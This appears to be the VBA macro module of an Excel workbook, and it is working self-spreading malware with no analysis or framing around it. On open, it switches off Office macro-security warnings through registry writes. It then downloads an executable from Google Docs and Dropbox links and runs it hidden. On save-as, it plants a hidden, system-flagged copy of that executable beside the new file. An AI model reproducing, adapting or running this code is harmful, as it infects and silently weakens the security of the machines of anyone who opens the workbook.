Dim SheetsChanged As Boolean
Dim SheetCount As Integer
Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
Application.DisplayAlerts = False
SheetCount = Worksheets.Count
Call MPS
ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub
Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName
AIndex = ActiveWorkbook.ActiveSheet.Index
If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂lma Kitab?(*.xlsm), *.xlsm")
If FName <> False Then
ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
SaveAsInj ActiveWorkbook.Path
End If
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
End If
End Sub
Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String
Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "~$cache1") Then
FileCopy FN, DIR & "~$cache1"
End If
SetAttr (DIR & "~$cache1"), vbHidden + vbSystem
End If
End Sub
Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object
On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function
Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function
ErrorHandler:
RegKeyExists = False
End Function
Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object
Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub
Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String
Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download%22
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1%22
TMP = Environ("Temp") & "~$cache1.exe"
If FSO.FileExists(FP(1)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If
End If
End Sub
Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If
WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send
If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function